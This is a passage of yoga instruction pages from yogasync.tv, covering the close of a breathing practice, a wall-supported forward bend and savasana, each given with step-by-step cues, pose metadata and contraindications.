inhalation…and your entire exhalation.

There is only this breath, in this moment in time.

Let go of your practice now, and rest here in savasana.

Everything Else:

Level: 1
Props required: Blankets, Bolster
Movement Type: Pranayama
Sub Movement Type-A: Supine
Sub Movement Type-B: Meditative
Main Anatomical Focus: Whole Body
Secondary Anatomical Focus: Mind
Physiological Focus: Circulatory System, Digestive System, Endocrine System, Excretory System, Muscular System, Nervous System, Reproductive System, Respiratory System, Skeletal System

Therapeutic Focus: PMS, Stress

Contraindications:If you experience and dizziness, shortness of breath, or nauseous stop the practice and rest in Savasana.

Content Courtesy of www.yogasync.tv Members Area

Benefits: This pose increases flexibility in the front chest and armpit area, and builds strength in the back chest and shoulders. This helps to relieve tension in the shoulders, built up from stress and helps to increase lung capacity. As the body is coming forward over the legs, the hamstring muscles are being lengthened while the quadriceps are being strengthened.

Step By Step Instructions:

Begin by standing in tadasana, facing the wall.

Press all four corners of your feet into the mat.

Place your hands mindfully on the wall at hip height, with the fingers spread.

Step back with your feet hip width apart and lower your torso until you
come into a flat back position, keeping your ears in line with your upper arms.

Press the big toe mound, little toe mound, inner heel and outer heel down
into the floor.

Move the outer calf muscles back and press the top of the shinbone down
into the heel, to open up the backs of the knee.

Move both sides of your pubic bone, your inner thighs and your outer
thighs back. These actions will press the top of the front thigh
onto the thighbone and lengthen the lower back.

Press your index finger and thumb mound firmly into the wall.

Move the inside blade of your scapula down your spine, towards your
ischium bones. Press the bottom tip of your scapula into the back
ribcage and lift the lower sternum into the diaphragm, so that the
front and back body are of even length.

Take long, smooth and even breaths here.

To come out of the pose bend your knees, step your feet toward the wall
and bring your body to upright. Bring your hands by your sides and
stand here in tadasana, breathing naturally.

Everything Else:

Level: 1
Props required: Wall
Movement Type: Standing
Sub Movement Type-A: Forward Bend
Sub Movement Type-B: Hamstrings
Main Anatomical Focus: Hamstrings
Secondary Anatomical Focus: Shoulders
Physiological Focus: Respiratory System

Therapeutic Focus: Stress

Contraindications:Choose the supported variation of this movement, if you are suffering from a migraine, or a headache.

Content Courtesy of www.yogasync.tv Members Area

Benefits: Savasana unites the mind, body, emotions and spiritual aspects of the self together. It relieves physical and mental fatigue and soothes the sympathetic nervous system.

Step by Step Instructions:

To prepare for savasana, take whatever clothes you need to put on
to maintain a comfortable body temperature, and two blankets. Place
one folded blanket at the top of your mat to rest your head on, and
the other blanket at the bottom of your mat to put over you, to keep warm.

Sit in dandasana with a blanket at the end of your feet.

Now your bend knees and bring your buttocks towards your heels. Take
hold of the blanket. Lower your back vertebra by vertebra on to your
mat, pulling your blanket over you as you roll down.

Rest your head on the folded blanket and straighten your legs one by one.

Bring the back of your arms on to the floor about a foot away from your
body with your palms facing up.

Your feet are hip width apart with your little toes rolling toward the
floor and your big toes following, your legs completely relaxed.

Close your eyes by bringing your upper eyelids down, taking your eyes deep inside.

Allow the skin on your forehead to be broad, and moving towards your
temples. Allow your cheeks to melt towards your ears, your nostrils
and nasal passages to be soft, and the back of your tongue to move to the back of your throat.

Draw all your senses inward, resting your mind on the spaciousness in between your thoughts.

Allow your whole body to become more and more relaxed. Feel any tension
that you are still holding on to, melt away, like ice on a hot day.

To come out of savasana, firstly begin to deepen your breath.
Taking deeper inhalation and exhalations.

Without tensing your neck and throat, bring your arms to your sides and your legs together.

Inhale your right arm above your head and gently roll to your right side,
keeping your knees bent and resting your head on your upper arm.

Pause here, allowing an inner cue to tell you when to sit up.

To come to sitting; bring your left palm on the floor in front of you
and gently push yourself up to sitting, bring your head up last.

Make your way into a comfortable crossed leg position with your hands on
your knees and your chest lifted. Take some deep breaths here and
then quietly open your eyes. Feel the calmness and quietness you are now experiencing.

Level: 1
Props required: Blankets
Movement Type: Restorative
Sub Movement Type-A: Supine
Sub Movement Type-B: Meditative
Main Anatomical Focus: Whole Body
Secondary Anatomical Focus: Mind
Physiological Focus: Circulatory System, Digestive System, Excretory System, Muscular System, Nervous System, Reproductive System, Respiratory System, Skeletal System

Therapeutic Focus: Fatigue, Stress

Contraindications:If you suffer from backache place a bolster under your knees, if you are pregnant refer to our pregnancy relaxation lying on the side.

Content Courtesy of www.yogasync.tv Members Area